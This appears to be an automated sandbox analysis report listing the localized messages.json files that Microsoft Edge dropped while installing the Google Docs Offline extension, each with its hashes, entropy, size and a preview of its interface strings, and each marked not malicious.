Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
